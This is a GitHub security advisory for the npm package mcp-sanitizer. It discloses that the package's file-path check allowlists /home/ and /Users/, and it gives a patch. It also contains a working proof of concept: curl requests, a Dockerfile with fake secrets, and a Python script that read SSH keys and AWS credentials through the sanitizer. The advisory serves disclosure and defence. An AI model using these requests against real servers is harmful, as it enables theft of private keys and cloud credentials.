GHSA-7W82-6F9J-V9JP
Vulnerability from github – Published: 2026-10-28 19:51 – Updated: 2026-10-28 19:51File Path Sanitizer Permits Arbitrary User-Home Absolute Paths
Summary
mcp-sanitizer v1.3.3 explicitly whitelists /home/ and /Users/ as allowed absolute path prefixes in its file path validation logic (src/utils/validation-utils.js:188-196). As a result, paths such as /home/alice/.ssh/id_rsa and /home/alice/.aws/credentials pass through sanitizer.sanitize() with blocked=false, even though they point to highly sensitive files outside any configured safe root. Any consumer application that trusts the sanitized path and passes it to a filesystem read/write operation (e.g., fs.readFile) will expose arbitrary user-home directory files to an unauthenticated network attacker. Dynamic reproduction confirmed exfiltration of a simulated SSH private key and AWS credentials via a single HTTP POST request.
Details
The vulnerability resides in the validateFilePath function inside src/utils/validation-utils.js. When an absolute path falls outside the configured safe root directories, the function performs a secondary check against a hardcoded allowlist:
// src/utils/validation-utils.js:188-196
if (!isInSafeLocation && path.isAbsolute(normalizedPath)) {
const allowedAbsolutePaths = ['/tmp/', '/var/tmp/', '/home/', '/Users/'];
const isAllowedAbsolute = allowedAbsolutePaths.some(allowed =>
normalizedPath.toLowerCase().startsWith(allowed.toLowerCase())
);
if (!isAllowedAbsolute) {
throw new Error('Absolute path not in allowed safe directory');
}
}
Because /home/ and /Users/ are included in allowedAbsolutePaths, any path beneath those directories — including ~/.ssh/id_rsa, ~/.aws/credentials, ~/.kube/config, ~/.gnupg/, etc. — is considered safe and passes validation unchanged.
The dangerous paths (dangerousUnixPaths at src/utils/validation-utils.js:135) only cover /etc/, /proc/, /sys/, /dev/, /root/, /boot/, /usr/bin/, and /sbin/. Home-directory sensitive subdirectories (.ssh, .aws, .gnupg, .kube, .config) are never checked.
The full data flow from a network request to the vulnerable return value is:
src/middleware/express.js:538-541— The Express middleware routesfile_reader/file_writertool parameters tosanitizer.sanitize(params.file_path, { type: 'file_path' }).src/sanitizer/mcp-sanitizer.js:523-524— Whencontext.type === 'file_path',_secureSanitizeFilePath()is called.src/sanitizer/mcp-sanitizer.js:683-687—validateFilePath()is invoked; if it does not throw, the normalized path is returned as the sanitized value.src/utils/validation-utils.js:188-196— The/home/prefix check passes without error.src/utils/validation-utils.js:200-201— The original, attacker-controlled absolute path is returned to the caller as a trusted, sanitized value.
A consumer application receiving { blocked: false, sanitized: '/home/victim/.ssh/id_rsa' } is expected to use that path for I/O. The sanitizer's own README and middleware integration imply that a blocked: false result is safe to act upon.
Suggested patch:
--- a/src/utils/validation-utils.js
+++ b/src/utils/validation-utils.js
@@
const dangerousUnixPaths = ['/etc/', '/proc/', '/sys/', '/dev/', '/root/', '/boot/', '/usr/bin/', '/sbin/'];
+ const sensitiveHomeFragments = [
+ '/.ssh/', '/.aws/', '/.gnupg/', '/.kube/', '/.config/',
+ '/.npmrc', '/.env'
+ ];
@@
+ const normalizedForSensitiveCheck = normalizedPath.replace(/\\/g, '/').toLowerCase();
+ if (sensitiveHomeFragments.some(fragment => normalizedForSensitiveCheck.includes(fragment))) {
+ throw new Error('Access to sensitive user configuration path not allowed');
+ }
@@
- const allowedAbsolutePaths = ['/tmp/', '/var/tmp/', '/home/', '/Users/'];
+ const allowedAbsolutePaths = ['/tmp/', '/var/tmp/'];
PoC
Environment requirements: Docker, Python 3, Node.js 20
Step 1 — Build and start the reproduction container:
# From the vuln-002/ directory
python3 poc.py
The script automatically:
1. Copies the mcp-sanitizer source into a Docker build context.
2. Creates simulated victim files at /home/victim/.ssh/id_rsa and /home/victim/.aws/credentials inside the container.
3. Builds a consumer HTTP server (server.js) that calls sanitizer.sanitize() and then fs.readFile on the returned path.
4. Sends the three test requests described below.
Step 2 — Manual HTTP requests (after the container is running on port 13572):
Control test — must be blocked:
curl -s -X POST http://127.0.0.1:13572/tool \
-H 'Content-Type: application/json' \
-d '{"tool_name":"file_reader","parameters":{"file_path":"/etc/passwd"}}'
# Expected: {"blocked": true}
Exploit test 1 — SSH private key exfiltration:
curl -s -X POST http://127.0.0.1:13572/tool \
-H 'Content-Type: application/json' \
-d '{"tool_name":"file_reader","parameters":{"file_path":"/home/victim/.ssh/id_rsa"}}'
# Expected: {"blocked": false, "EXPLOIT_SUCCESS": true, "file_content": "-----BEGIN RSA PRIVATE KEY-----..."}
Exploit test 2 — AWS credentials exfiltration:
curl -s -X POST http://127.0.0.1:13572/tool \
-H 'Content-Type: application/json' \
-d '{"tool_name":"file_reader","parameters":{"file_path":"/home/victim/.aws/credentials"}}'
# Expected: {"blocked": false, "EXPLOIT_SUCCESS": true, "file_content": "[default]\naws_access_key_id = ..."}
Observed results (Phase 2 dynamic reproduction):
[Test 1 — Control] POST /tool {file_path: '/etc/passwd'}
=> blocked=true ✓ (dangerousUnixPaths correctly blocks /etc/)
[Test 2 — Exploit] POST /tool {file_path: '/home/victim/.ssh/id_rsa'}
=> blocked=false, EXPLOIT_SUCCESS=true
sanitized_path: /home/victim/.ssh/id_rsa
file_content:
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA0Z3VS5JJcds3xHnygWep4PAtEsHABkxFQnPmcEDLXdK
SECRET_KEY_CONTENT_EXFILTRATED_VIA_HOME_PATH_BYPASS_VULN002
-----END RSA PRIVATE KEY-----
[Test 3 — Exploit] POST /tool {file_path: '/home/victim/.aws/credentials'}
=> blocked=false, EXPLOIT_SUCCESS=true
file_content:
[default]
aws_access_key_id = AKIAIOSFODNN7EXAMPLE
aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
region = us-east-1
Root cause confirmed: validation-utils.js:190 — allowedAbsolutePaths includes '/home/' and '/Users/'; any absolute path starting with /home/ passes with blocked=false.
Impact
This is a Path Traversal / Improper Path Restriction (CWE-22) vulnerability.
Any application that integrates mcp-sanitizer to validate file paths for MCP file_reader or file_writer tools is affected. The library is explicitly designed for use in MCP servers exposed over a network via the Express middleware. An unauthenticated remote attacker can supply an absolute path to any file under /home/ or /Users/ — requiring no authentication, no special privileges, and no interaction from a legitimate user.
Sensitive targets include but are not limited to:
- SSH private keys (~/.ssh/id_rsa, ~/.ssh/id_ed25519)
- Cloud provider credentials (~/.aws/credentials, ~/.config/gcloud/credentials.db)
- Kubernetes config (~/.kube/config)
- GPG keys (~/.gnupg/)
- Application tokens (~/.npmrc, ~/.netrc, ~/.env)
The confidentiality impact is High because SSH keys and cloud credentials grant full access to remote systems and cloud infrastructure. There is no integrity or availability impact, as the vulnerability is limited to reading (and potentially writing) files.
Reproduction artifacts
Dockerfile
# VULN-002 Reproduction: mcp-sanitizer v1.3.3 /home/* path bypass
# Builds a Node 20 container with:
# - mcp-sanitizer source from the local repo
# - Fake sensitive files in /home/victim/.ssh/ and /home/victim/.aws/
# - A consumer HTTP server that trusts the sanitizer
FROM node:20-slim
LABEL vuln="VULN-002" \
cwe="CWE-22" \
title="mcp-sanitizer home-directory path bypass"
# Install mcp-sanitizer production dependencies
WORKDIR /app/repo
COPY repo/package.json repo/package-lock.json ./
RUN npm ci --omit=dev --no-audit --no-fund
# Copy mcp-sanitizer source code
COPY repo/src ./src
# Create simulated victim home directory with sensitive files
# These represent secrets a real attacker would target
RUN mkdir -p /home/victim/.ssh /home/victim/.aws
RUN echo '-----BEGIN RSA PRIVATE KEY-----' > /home/victim/.ssh/id_rsa && \
echo 'MIIEowIBAAKCAQEA0Z3VS5JJcds3xHnygWep4PAtEsHABkxFQnPmcEDLXdK' >> /home/victim/.ssh/id_rsa && \
echo 'SECRET_KEY_CONTENT_EXFILTRATED_VIA_HOME_PATH_BYPASS_VULN002' >> /home/victim/.ssh/id_rsa && \
echo 'CVE_VULN002_SANITIZER_ALLOWS_HOME_DIRECTORY_ABSOLUTE_PATHS' >> /home/victim/.ssh/id_rsa && \
echo '-----END RSA PRIVATE KEY-----' >> /home/victim/.ssh/id_rsa && \
chmod 600 /home/victim/.ssh/id_rsa
RUN echo '[default]' > /home/victim/.aws/credentials && \
echo 'aws_access_key_id = AKIAIOSFODNN7EXAMPLE' >> /home/victim/.aws/credentials && \
echo 'aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY' >> /home/victim/.aws/credentials && \
echo 'region = us-east-1' >> /home/victim/.aws/credentials && \
chmod 600 /home/victim/.aws/credentials
# Copy the consumer server application
WORKDIR /app
COPY server.js ./server.js
EXPOSE 3000
CMD ["node", "server.js"]
poc.py
#!/usr/bin/env python3
"""
VULN-002 Dynamic Reproduction PoC
mcp-sanitizer v1.3.3 — File path sanitizer permits arbitrary user-home absolute paths (CWE-22)
Vulnerability:
src/utils/validation-utils.js:188-196 explicitly whitelists '/home/' and '/Users/'
as allowed absolute path prefixes. A path like /home/victim/.ssh/id_rsa passes
sanitizer.sanitize(path, {type: 'file_path'}) with blocked=false, and the consumer
app reads the file using the trusted sanitized path.
Attack chain:
1. Attacker sends POST /tool with file_path=/home/victim/.ssh/id_rsa
2. sanitizer.sanitize() returns {blocked: false, sanitized: '/home/victim/.ssh/id_rsa'}
3. Consumer app calls fs.readFile(sanitized_path) — trusting the sanitizer
4. SSH private key contents returned in HTTP response (exfiltrated)
Usage:
python3 poc.py
"""
import json
import os
import shutil
import subprocess
import sys
import tempfile
import time
import urllib.request
import urllib.error
# Paths
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
REPO_DIR = os.path.abspath(os.path.join(SCRIPT_DIR, "..", "repo"))
PHASE2_RESULT = os.path.join(SCRIPT_DIR, "phase2_result.json")
# Docker settings
IMAGE_NAME = "vuln002-mcp-sanitizer-poc"
CONTAINER_NAME = "vuln002-poc-container"
HOST_PORT = 13572 # High port to avoid conflicts
BASE_URL = f"http://127.0.0.1:{HOST_PORT}"
TOOL_URL = f"{BASE_URL}/tool"
HEALTH_URL = f"{BASE_URL}/health"
def log(msg):
print(f"[poc] {msg}", flush=True)
def save_result(passed, verdict, reason, evidence, build_cmd, run_cmd):
result = {
"passed": passed,
"verdict": verdict,
"reason": reason,
"build_command": build_cmd,
"run_command": run_cmd,
"poc_command": "python3 poc.py",
"evidence": evidence,
"artifacts": ["Dockerfile", "poc.py", "server.js"]
}
with open(PHASE2_RESULT, "w", encoding="utf-8") as f:
json.dump(result, f, indent=2, ensure_ascii=False)
log(f"Saved phase2_result.json (verdict={verdict})")
def run(cmd, timeout=300, capture=True):
"""Run a subprocess command and return (returncode, stdout, stderr)."""
result = subprocess.run(
cmd, capture_output=capture, text=True, timeout=timeout
)
return result.returncode, result.stdout, result.stderr
def stop_container():
subprocess.run(
["docker", "rm", "-f", CONTAINER_NAME],
capture_output=True, timeout=15
)
def http_post(url, payload, timeout=8):
data = json.dumps(payload).encode("utf-8")
req = urllib.request.Request(
url, data=data,
headers={"Content-Type": "application/json"},
method="POST"
)
with urllib.request.urlopen(req, timeout=timeout) as resp:
return json.loads(resp.read().decode("utf-8"))
def http_get(url, timeout=5):
with urllib.request.urlopen(url, timeout=timeout) as resp:
return json.loads(resp.read().decode("utf-8"))
def wait_for_server(max_wait=40):
log(f"Polling {HEALTH_URL} until ready (max {max_wait}s)...")
deadline = time.monotonic() + max_wait
while time.monotonic() < deadline:
try:
resp = http_get(HEALTH_URL)
if resp.get("ok"):
log("Server is up and responding.")
return True
except Exception:
pass
time.sleep(0.6)
return False
def prepare_build_context():
"""
Create a temporary Docker build context containing:
build_ctx/
Dockerfile
server.js
repo/
package.json
package-lock.json
src/
"""
build_ctx = tempfile.mkdtemp(prefix="vuln002-ctx-")
log(f"Build context directory: {build_ctx}")
# Copy Dockerfile and server.js from this script's directory
for fname in ("Dockerfile", "server.js"):
src = os.path.join(SCRIPT_DIR, fname)
dst = os.path.join(build_ctx, fname)
shutil.copy2(src, dst)
log(f" Copied {fname}")
# Copy only the necessary repo files (skip node_modules to keep context small)
repo_dst = os.path.join(build_ctx, "repo")
os.makedirs(repo_dst)
shutil.copy2(os.path.join(REPO_DIR, "package.json"), repo_dst)
shutil.copy2(os.path.join(REPO_DIR, "package-lock.json"), repo_dst)
shutil.copytree(
os.path.join(REPO_DIR, "src"),
os.path.join(repo_dst, "src")
)
log(f" Copied repo/src and package files")
return build_ctx
def main():
log("=" * 60)
log("VULN-002 Dynamic Reproduction — mcp-sanitizer /home/* bypass")
log("=" * 60)
# Validate prerequisites
if not os.path.isdir(REPO_DIR):
log(f"ERROR: Repo not found at {REPO_DIR}")
save_result(False, "FAIL",
f"재현 전제조건 미충족: repo 디렉터리({REPO_DIR})가 존재하지 않음.",
"", "", "")
return 1
rc, _, _ = run(["docker", "info"], timeout=10)
if rc != 0:
log("ERROR: Docker daemon is not accessible.")
save_result(False, "FAIL",
"Docker 데몬에 접근할 수 없음. Docker가 실행 중인지 확인하시오.",
"", "", "")
return 1
# Clean up any leftover container from a previous run
stop_container()
build_ctx = None
try:
# Step 1: Prepare build context
build_ctx = prepare_build_context()
# Step 2: Build Docker image
build_cmd = f"docker build -t {IMAGE_NAME} {build_ctx}"
log(f"Building Docker image: {build_cmd}")
rc, stdout, stderr = run(
["docker", "build", "-t", IMAGE_NAME, build_ctx],
timeout=300
)
if rc != 0:
err_tail = (stdout + stderr)[-600:]
log(f"Docker build FAILED (rc={rc}):\n{err_tail}")
save_result(False, "FAIL",
f"Docker 이미지 빌드 실패 (exit code {rc}). "
f"'npm ci --omit=dev' 실패 또는 Dockerfile 오류 가능성. "
f"마지막 출력: {err_tail[-200:]}",
err_tail,
build_cmd,
f"docker run --rm -p {HOST_PORT}:3000 {IMAGE_NAME}")
return 1
log("Docker image built successfully.")
# Step 3: Run container in detached mode
run_cmd = f"docker run --rm --name {CONTAINER_NAME} -p {HOST_PORT}:3000 -d {IMAGE_NAME}"
log(f"Starting container: {run_cmd}")
rc, stdout, stderr = run(
["docker", "run", "--rm", "--name", CONTAINER_NAME,
"-p", f"{HOST_PORT}:3000", "-d", IMAGE_NAME],
timeout=30
)
if rc != 0:
log(f"docker run FAILED:\n{stderr}")
save_result(False, "FAIL",
f"컨테이너 실행 실패 (exit code {rc}): {stderr[-300:]}",
stderr[-300:],
build_cmd, run_cmd)
return 1
container_id = stdout.strip()
log(f"Container started: {container_id[:12]}")
# Step 4: Wait for HTTP server inside container
if not wait_for_server():
# Collect container logs for diagnosis
_, clog, _ = run(["docker", "logs", CONTAINER_NAME], timeout=10)
log(f"Container logs:\n{clog}")
save_result(False, "FAIL",
f"서버가 {HOST_PORT} 포트에서 제한 시간 내 응답하지 않음. "
f"컨테이너 로그: {clog[-300:]}",
clog[-300:],
build_cmd, run_cmd)
stop_container()
return 1
# ----------------------------------------------------------------
# Step 5: Test 1 — Control: /etc/passwd must be BLOCKED
# ----------------------------------------------------------------
log("-" * 50)
log("TEST 1 (control): file_path=/etc/passwd [expected: blocked=true]")
try:
r_ctrl = http_post(TOOL_URL, {
"tool_name": "file_reader",
"parameters": {"file_path": "/etc/passwd"}
})
except Exception as exc:
r_ctrl = {"_request_error": str(exc)}
log(f" Response: {json.dumps(r_ctrl)[:300]}")
ctrl_blocked = r_ctrl.get("blocked", False)
# ----------------------------------------------------------------
# Step 6: Test 2 — Exploit: /home/victim/.ssh/id_rsa must PASS
# ----------------------------------------------------------------
log("-" * 50)
log("TEST 2 (exploit): file_path=/home/victim/.ssh/id_rsa [expected: blocked=false + file content]")
try:
r_ssh = http_post(TOOL_URL, {
"tool_name": "file_reader",
"parameters": {"file_path": "/home/victim/.ssh/id_rsa"}
})
except Exception as exc:
r_ssh = {"_request_error": str(exc)}
log(f" Response: {json.dumps(r_ssh)[:400]}")
# ----------------------------------------------------------------
# Step 7: Test 3 — Exploit: /home/victim/.aws/credentials must PASS
# ----------------------------------------------------------------
log("-" * 50)
log("TEST 3 (exploit): file_path=/home/victim/.aws/credentials [expected: blocked=false + AWS creds]")
try:
r_aws = http_post(TOOL_URL, {
"tool_name": "file_reader",
"parameters": {"file_path": "/home/victim/.aws/credentials"}
})
except Exception as exc:
r_aws = {"_request_error": str(exc)}
log(f" Response: {json.dumps(r_aws)[:400]}")
# ----------------------------------------------------------------
# Step 8: Evaluate results
# ----------------------------------------------------------------
log("-" * 50)
log("Evaluating results...")
ssh_bypassed = (
not r_ssh.get("blocked", True) and
r_ssh.get("EXPLOIT_SUCCESS") is True and
"id_rsa" in r_ssh.get("sanitized_path", "") and
bool(r_ssh.get("file_content")) and
"RSA" in r_ssh.get("file_content", "")
)
aws_bypassed = (
not r_aws.get("blocked", True) and
r_aws.get("EXPLOIT_SUCCESS") is True and
"credentials" in r_aws.get("sanitized_path", "") and
bool(r_aws.get("file_content")) and
"aws_access_key_id" in r_aws.get("file_content", "")
)
log(f" [control] /etc/passwd blocked={ctrl_blocked}")
log(f" [exploit] SSH key bypass={ssh_bypassed}")
log(f" [exploit] AWS creds bypass={aws_bypassed}")
# PASS requires: control is blocked AND at least SSH bypass confirmed
if ctrl_blocked and ssh_bypassed:
ssh_content = r_ssh.get("file_content", "")
aws_content = r_aws.get("file_content", "")
evidence = (
f"[Test 1 — Control] POST /tool {{file_path: '/etc/passwd'}} "
f"=> blocked=true (dangerousUnixPaths가 /etc/를 올바르게 차단)\n\n"
f"[Test 2 — Exploit] POST /tool {{file_path: '/home/victim/.ssh/id_rsa'}} "
f"=> blocked=false, EXPLOIT_SUCCESS=true\n"
f" sanitized_path: {r_ssh.get('sanitized_path')}\n"
f" file_content (truncated):\n"
f" {ssh_content[:300]}\n\n"
f"[Test 3 — Exploit] POST /tool {{file_path: '/home/victim/.aws/credentials'}} "
f"=> blocked={r_aws.get('blocked', True)}, "
f"EXPLOIT_SUCCESS={r_aws.get('EXPLOIT_SUCCESS')}\n"
f" file_content: {aws_content[:200]}\n\n"
f"[Root Cause] validation-utils.js:190 — "
f"allowedAbsolutePaths includes '/home/' and '/Users/': "
f"any absolute path starting with /home/ passes with blocked=false."
)
reason = (
"/home/ prefix가 allowedAbsolutePaths 화이트리스트에 포함되어 있어 "
"/home/victim/.ssh/id_rsa 경로가 sanitizer.sanitize()에서 blocked=false로 반환됨. "
"소비 앱이 해당 경로로 fs.readFile을 호출하여 SSH 개인키 내용이 HTTP 응답으로 유출됨. "
"CWE-22 경로 제한 우회 취약점 동적 재현 완료 (컨테이너 내 관측 가능한 파일 유출 확인)."
)
save_result(
True, "PASS", reason, evidence,
f"docker build -t {IMAGE_NAME} <build_ctx>",
f"docker run --rm -p {HOST_PORT}:3000 {IMAGE_NAME}"
)
log("=== FINAL VERDICT: PASS ===")
return 0
else:
# Record failure details
evidence = (
f"[Test 1] ctrl response: {json.dumps(r_ctrl)[:300]}\n"
f"[Test 2] ssh response: {json.dumps(r_ssh)[:300]}\n"
f"[Test 3] aws response: {json.dumps(r_aws)[:300]}\n"
f"ctrl_blocked={ctrl_blocked}, ssh_bypassed={ssh_bypassed}, aws_bypassed={aws_bypassed}"
)
if not ctrl_blocked:
# Unexpected: /etc/passwd should be blocked
reason = (
"/etc/passwd 경로가 예상과 달리 차단되지 않았음. "
"서버 초기화 오류 또는 취약점 패치 가능성. 서버 로그를 확인하시오."
)
else:
reason = (
f"/home/victim/.ssh/id_rsa bypass 미확인 (ssh_bypassed={ssh_bypassed}). "
f"응답: {json.dumps(r_ssh)[:200]}. "
"서버 응답 구조 또는 파일 생성 확인 필요. "
"container 내 /home/victim/.ssh/id_rsa 파일 존재 여부를 "
"'docker exec <container> cat /home/victim/.ssh/id_rsa'로 확인하시오."
)
save_result(False, "FAIL", reason, evidence,
f"docker build -t {IMAGE_NAME} <build_ctx>",
f"docker run --rm -p {HOST_PORT}:3000 {IMAGE_NAME}")
log("=== FINAL VERDICT: FAIL ===")
return 1
except KeyboardInterrupt:
log("Interrupted by user.")
return 1
except Exception as exc:
import traceback
tb = traceback.format_exc()
log(f"Unexpected error: {exc}\n{tb}")
save_result(False, "INCOMPLETE",
f"예상치 못한 오류 발생: {exc}. "
"traceback을 확인하고 Docker 환경 및 repo 경로를 점검하시오.",
tb[-600:], "", "")
return 1
finally:
stop_container()
if build_ctx and os.path.isdir(build_ctx):
shutil.rmtree(build_ctx, ignore_errors=True)
log(f"Cleaned up build context: {build_ctx}")
if __name__ == "__main__":
sys.exit(main())
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "mcp-sanitizer"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-28T19:51:34Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## File Path Sanitizer Permits Arbitrary User-Home Absolute Paths\n\n### Summary\n\n`mcp-sanitizer` v1.3.3 explicitly whitelists `/home/` and `/Users/` as allowed absolute path prefixes in its file path validation logic (`src/utils/validation-utils.js:188-196`). As a result, paths such as `/home/alice/.ssh/id_rsa` and `/home/alice/.aws/credentials` pass through `sanitizer.sanitize()` with `blocked=false`, even though they point to highly sensitive files outside any configured safe root. Any consumer application that trusts the sanitized path and passes it to a filesystem read/write operation (e.g., `fs.readFile`) will expose arbitrary user-home directory files to an unauthenticated network attacker. Dynamic reproduction confirmed exfiltration of a simulated SSH private key and AWS credentials via a single HTTP POST request.\n\n### Details\n\nThe vulnerability resides in the `validateFilePath` function inside `src/utils/validation-utils.js`. When an absolute path falls outside the configured safe root directories, the function performs a secondary check against a hardcoded allowlist:\n\n```js\n// src/utils/validation-utils.js:188-196\nif (!isInSafeLocation \u0026\u0026 path.isAbsolute(normalizedPath)) {\n const allowedAbsolutePaths = [\u0027/tmp/\u0027, \u0027/var/tmp/\u0027, \u0027/home/\u0027, \u0027/Users/\u0027];\n const isAllowedAbsolute = allowedAbsolutePaths.some(allowed =\u003e\n normalizedPath.toLowerCase().startsWith(allowed.toLowerCase())\n );\n\n if (!isAllowedAbsolute) {\n throw new Error(\u0027Absolute path not in allowed safe directory\u0027);\n }\n}\n```\n\nBecause `/home/` and `/Users/` are included in `allowedAbsolutePaths`, any path beneath those directories \u2014 including `~/.ssh/id_rsa`, `~/.aws/credentials`, `~/.kube/config`, `~/.gnupg/`, etc. \u2014 is considered safe and passes validation unchanged.\n\nThe dangerous paths (`dangerousUnixPaths` at `src/utils/validation-utils.js:135`) only cover `/etc/`, `/proc/`, `/sys/`, `/dev/`, `/root/`, `/boot/`, `/usr/bin/`, and `/sbin/`. Home-directory sensitive subdirectories (`.ssh`, `.aws`, `.gnupg`, `.kube`, `.config`) are never checked.\n\nThe full data flow from a network request to the vulnerable return value is:\n\n1. **`src/middleware/express.js:538-541`** \u2014 The Express middleware routes `file_reader`/`file_writer` tool parameters to `sanitizer.sanitize(params.file_path, { type: \u0027file_path\u0027 })`.\n2. **`src/sanitizer/mcp-sanitizer.js:523-524`** \u2014 When `context.type === \u0027file_path\u0027`, `_secureSanitizeFilePath()` is called.\n3. **`src/sanitizer/mcp-sanitizer.js:683-687`** \u2014 `validateFilePath()` is invoked; if it does not throw, the normalized path is returned as the sanitized value.\n4. **`src/utils/validation-utils.js:188-196`** \u2014 The `/home/` prefix check passes without error.\n5. **`src/utils/validation-utils.js:200-201`** \u2014 The original, attacker-controlled absolute path is returned to the caller as a trusted, sanitized value.\n\nA consumer application receiving `{ blocked: false, sanitized: \u0027/home/victim/.ssh/id_rsa\u0027 }` is expected to use that path for I/O. The sanitizer\u0027s own `README` and middleware integration imply that a `blocked: false` result is safe to act upon.\n\n**Suggested patch:**\n\n```diff\n--- a/src/utils/validation-utils.js\n+++ b/src/utils/validation-utils.js\n@@\n const dangerousUnixPaths = [\u0027/etc/\u0027, \u0027/proc/\u0027, \u0027/sys/\u0027, \u0027/dev/\u0027, \u0027/root/\u0027, \u0027/boot/\u0027, \u0027/usr/bin/\u0027, \u0027/sbin/\u0027];\n+ const sensitiveHomeFragments = [\n+ \u0027/.ssh/\u0027, \u0027/.aws/\u0027, \u0027/.gnupg/\u0027, \u0027/.kube/\u0027, \u0027/.config/\u0027,\n+ \u0027/.npmrc\u0027, \u0027/.env\u0027\n+ ];\n@@\n+ const normalizedForSensitiveCheck = normalizedPath.replace(/\\\\/g, \u0027/\u0027).toLowerCase();\n+ if (sensitiveHomeFragments.some(fragment =\u003e normalizedForSensitiveCheck.includes(fragment))) {\n+ throw new Error(\u0027Access to sensitive user configuration path not allowed\u0027);\n+ }\n@@\n- const allowedAbsolutePaths = [\u0027/tmp/\u0027, \u0027/var/tmp/\u0027, \u0027/home/\u0027, \u0027/Users/\u0027];\n+ const allowedAbsolutePaths = [\u0027/tmp/\u0027, \u0027/var/tmp/\u0027];\n```\n\n### PoC\n\n**Environment requirements:** Docker, Python 3, Node.js 20\n\n**Step 1 \u2014 Build and start the reproduction container:**\n\n```bash\n# From the vuln-002/ directory\npython3 poc.py\n```\n\nThe script automatically:\n1. Copies the `mcp-sanitizer` source into a Docker build context.\n2. Creates simulated victim files at `/home/victim/.ssh/id_rsa` and `/home/victim/.aws/credentials` inside the container.\n3. Builds a consumer HTTP server (`server.js`) that calls `sanitizer.sanitize()` and then `fs.readFile` on the returned path.\n4. Sends the three test requests described below.\n\n**Step 2 \u2014 Manual HTTP requests (after the container is running on port 13572):**\n\nControl test \u2014 must be blocked:\n```bash\ncurl -s -X POST http://127.0.0.1:13572/tool \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"tool_name\":\"file_reader\",\"parameters\":{\"file_path\":\"/etc/passwd\"}}\u0027\n# Expected: {\"blocked\": true}\n```\n\nExploit test 1 \u2014 SSH private key exfiltration:\n```bash\ncurl -s -X POST http://127.0.0.1:13572/tool \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"tool_name\":\"file_reader\",\"parameters\":{\"file_path\":\"/home/victim/.ssh/id_rsa\"}}\u0027\n# Expected: {\"blocked\": false, \"EXPLOIT_SUCCESS\": true, \"file_content\": \"-----BEGIN RSA PRIVATE KEY-----...\"}\n```\n\nExploit test 2 \u2014 AWS credentials exfiltration:\n```bash\ncurl -s -X POST http://127.0.0.1:13572/tool \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"tool_name\":\"file_reader\",\"parameters\":{\"file_path\":\"/home/victim/.aws/credentials\"}}\u0027\n# Expected: {\"blocked\": false, \"EXPLOIT_SUCCESS\": true, \"file_content\": \"[default]\\naws_access_key_id = ...\"}\n```\n\n**Observed results (Phase 2 dynamic reproduction):**\n\n```\n[Test 1 \u2014 Control] POST /tool {file_path: \u0027/etc/passwd\u0027}\n =\u003e blocked=true \u2713 (dangerousUnixPaths correctly blocks /etc/)\n\n[Test 2 \u2014 Exploit] POST /tool {file_path: \u0027/home/victim/.ssh/id_rsa\u0027}\n =\u003e blocked=false, EXPLOIT_SUCCESS=true\n sanitized_path: /home/victim/.ssh/id_rsa\n file_content:\n -----BEGIN RSA PRIVATE KEY-----\n MIIEowIBAAKCAQEA0Z3VS5JJcds3xHnygWep4PAtEsHABkxFQnPmcEDLXdK\n SECRET_KEY_CONTENT_EXFILTRATED_VIA_HOME_PATH_BYPASS_VULN002\n -----END RSA PRIVATE KEY-----\n\n[Test 3 \u2014 Exploit] POST /tool {file_path: \u0027/home/victim/.aws/credentials\u0027}\n =\u003e blocked=false, EXPLOIT_SUCCESS=true\n file_content:\n [default]\n aws_access_key_id = AKIAIOSFODNN7EXAMPLE\n aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\n region = us-east-1\n```\n\n**Root cause confirmed:** `validation-utils.js:190` \u2014 `allowedAbsolutePaths` includes `\u0027/home/\u0027` and `\u0027/Users/\u0027`; any absolute path starting with `/home/` passes with `blocked=false`.\n\n### Impact\n\nThis is a **Path Traversal / Improper Path Restriction (CWE-22)** vulnerability.\n\nAny application that integrates `mcp-sanitizer` to validate file paths for MCP `file_reader` or `file_writer` tools is affected. The library is explicitly designed for use in MCP servers exposed over a network via the Express middleware. An unauthenticated remote attacker can supply an absolute path to any file under `/home/` or `/Users/` \u2014 requiring no authentication, no special privileges, and no interaction from a legitimate user.\n\n**Sensitive targets include but are not limited to:**\n- SSH private keys (`~/.ssh/id_rsa`, `~/.ssh/id_ed25519`)\n- Cloud provider credentials (`~/.aws/credentials`, `~/.config/gcloud/credentials.db`)\n- Kubernetes config (`~/.kube/config`)\n- GPG keys (`~/.gnupg/`)\n- Application tokens (`~/.npmrc`, `~/.netrc`, `~/.env`)\n\nThe confidentiality impact is **High** because SSH keys and cloud credentials grant full access to remote systems and cloud infrastructure. There is no integrity or availability impact, as the vulnerability is limited to reading (and potentially writing) files.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-002 Reproduction: mcp-sanitizer v1.3.3 /home/* path bypass\n# Builds a Node 20 container with:\n# - mcp-sanitizer source from the local repo\n# - Fake sensitive files in /home/victim/.ssh/ and /home/victim/.aws/\n# - A consumer HTTP server that trusts the sanitizer\n\nFROM node:20-slim\n\nLABEL vuln=\"VULN-002\" \\\n cwe=\"CWE-22\" \\\n title=\"mcp-sanitizer home-directory path bypass\"\n\n# Install mcp-sanitizer production dependencies\nWORKDIR /app/repo\nCOPY repo/package.json repo/package-lock.json ./\nRUN npm ci --omit=dev --no-audit --no-fund\n\n# Copy mcp-sanitizer source code\nCOPY repo/src ./src\n\n# Create simulated victim home directory with sensitive files\n# These represent secrets a real attacker would target\nRUN mkdir -p /home/victim/.ssh /home/victim/.aws\nRUN echo \u0027-----BEGIN RSA PRIVATE KEY-----\u0027 \u003e /home/victim/.ssh/id_rsa \u0026\u0026 \\\n echo \u0027MIIEowIBAAKCAQEA0Z3VS5JJcds3xHnygWep4PAtEsHABkxFQnPmcEDLXdK\u0027 \u003e\u003e /home/victim/.ssh/id_rsa \u0026\u0026 \\\n echo 